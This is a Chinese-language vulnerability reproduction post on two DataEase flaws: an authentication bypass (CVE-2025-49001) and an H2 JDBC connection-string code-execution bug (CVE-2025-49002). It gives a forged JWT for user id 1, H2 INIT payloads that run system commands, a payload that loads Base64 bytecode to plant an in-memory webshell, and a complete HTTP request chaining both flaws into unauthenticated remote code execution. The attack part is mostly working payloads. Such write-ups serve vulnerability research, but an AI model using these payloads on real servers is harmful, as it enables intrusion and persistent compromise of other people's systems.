DataEase 远程代码执行漏洞复现(CVE-2025-49001、CVE-2025-49002)

声明

本文版权归原作者所有,未经允许禁止转载。

比较简单但又经典的漏洞,简单的复现一下。

CVE-2025-49001

漏洞概述

由于鉴权逻辑在处理异常时未及时返回,依旧进入业务处理逻辑,导致鉴权绕过。

影响范围

DataEase <= 2.10.9

漏洞分析

大致流程如图所示:

第一个过滤器:

Token 请求头:X-DE-TOKEN

第二个过滤器:

415

进入到 TokenUtils.validate(token),可以看到对 Token 长度进行判断,如果小于 100 则返回非法,因此这里第一个条件需要满足 Token 长度大于 100:

440

最终进入到 userBOByToken,判断 uid 是否为空:

又来到 CommunityTokenFilter,通过反射及 userid 来查找缓存中是否存在该用户是否存在?应该就是要传入一个存在的 userId:

如果用户不存在则会报用户名或密码错误:

综上 Token 需要满足:

  1. 长度大于 100
  2. 包含存在的 userId 值

漏洞利用

构造一个 Token,uid 设为 1,默认是存在的:

{
  "uid": 1,
  "test": "12345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612334561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561233456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612334561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561233456123456123456123456123456123456123456123456"
}

JWT:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEsInRlc3QiOiIxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjMzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjMzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NiJ9.wBQkoPb0liQx0npJADAo13vWKCGnM33fjS3ZFg__wF8

正常鉴权:

带上构造的 Token:

CVE-2025-49002

漏洞概述

H2 数据库存在代码执行漏洞,由于连接数据库接口对于 H2 连接字符串的风险字符串过滤不当,导致了任意代码执行,配合 CVE-2025-49001 可造成前台 RCE。

影响范围

DataEase <= 2.10.9

漏洞分析

有两个接口,逻辑一模一样,以 getSchema 为例:

/de2api/datasource/validate
/de2api/datasource/getSchema

获取连接:

判断 type 类型,最终将 configuration JSON 字符串反序列化:

获取连接字符串并传入:

getJdbc 方法有一层判断,仅仅匹配大写,使用小写即可绕过:

漏洞利用

整体 body 如下,需要手动构造 configuration:

{"id": "","name": "111", "description": "111","type": "h2","apiConfiguration":[], "paramsConfiguration":[], "enableDataFill": false, "configuration": ""}

命令执行

网上的文章似乎没有给出实际的 payload,需要手动看代码才能得到真正的 payload,首先需要构造一个 H2 的 payload:

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIt=CREATE ALIAS EXEC AS'String Application(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "test";}';CALL EXEC('touch /tmp/1')

然后构造一个 JSON 字符串,对应的双引号需要转义,且 ; 也需要转义,因为 h2 的连接字符串的格式中包含 ..;key=value;...,是一个分隔符,而由于又是在字符串里边,所以需要两个 \

{
	"jdbcUrl":"jdbc:h2:mem:testdb",
	"jdbc": "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIt=CREATE ALIAS EXEC AS'String Application(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd)\\;return \"test\"\\;}'\\;CALL EXEC('touch /tmp/poc')"
}

注入内存马

经过转义后的 payload,其中 tomcatStr 填入字节码,Base64 编码后传入 configuration 参数:

{
	"jdbcUrl":"jdbc:h2:mem:testdb",
	"jdbc": "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIt=CREATE ALIAS EXEC AS'String memshell(String str) throws java.lang.Exception {byte[] standBytes = null\\;String tomcatStr = \"\"\\;java.lang.Class unsafeClass = java.lang.Class.forName(\"sun.misc.Unsafe\")\\;java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField(\"theUnsafe\")\\;unsafeField.setAccessible(true)\\;sun.misc.Unsafe unsafe = (sun.misc.Unsafe) unsafeField.get(null)\\;java.lang.Module module = java.lang.Object.class.getModule()\\;java.lang.Class cls = EXEC.class\\;long offset = unsafe.objectFieldOffset(java.lang.Class.class.getDeclaredField(\"module\"))\\;unsafe.getAndSetObject(cls, offset, module)\\;java.lang.reflect.Method defineClass = java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, java.lang.Integer.TYPE, java.lang.Integer.TYPE)\\;defineClass.setAccessible(true)\\;byte[] bytecode = java.util.Base64.getDecoder().decode(tomcatStr)\\;java.lang.Class clazz = (java.lang.Class) defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length)\\;clazz.newInstance()\\;return \"\"\\;}'\\;CALL EXEC('')"
}

首次利用可以先尝试 sleep 字节码,再注入内存马,这里就直接注入内存马必须是(JakartaListener):

完整 POC:

POST /de2api/datasource/getSchema HTTP/1.1
Host: x.x.x.x
Content-Type: application/json
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Length: 708
X-DE-TOKEN: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEsInRlc3QiOiIxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjMzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjMzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NiJ9.wBQkoPb0liQx0npJADAo13vWKCGnM33fjS3ZFg__wF8

{"id": "","name": "111", "description": "111","type": "h2","apiConfiguration":[], "paramsConfiguration":[], "enableDataFill": false, "configuration": ""}

参考文章

https://mp.weixin.qq.com/s/PlRwbc5AhJDjPwIZcUv5Rw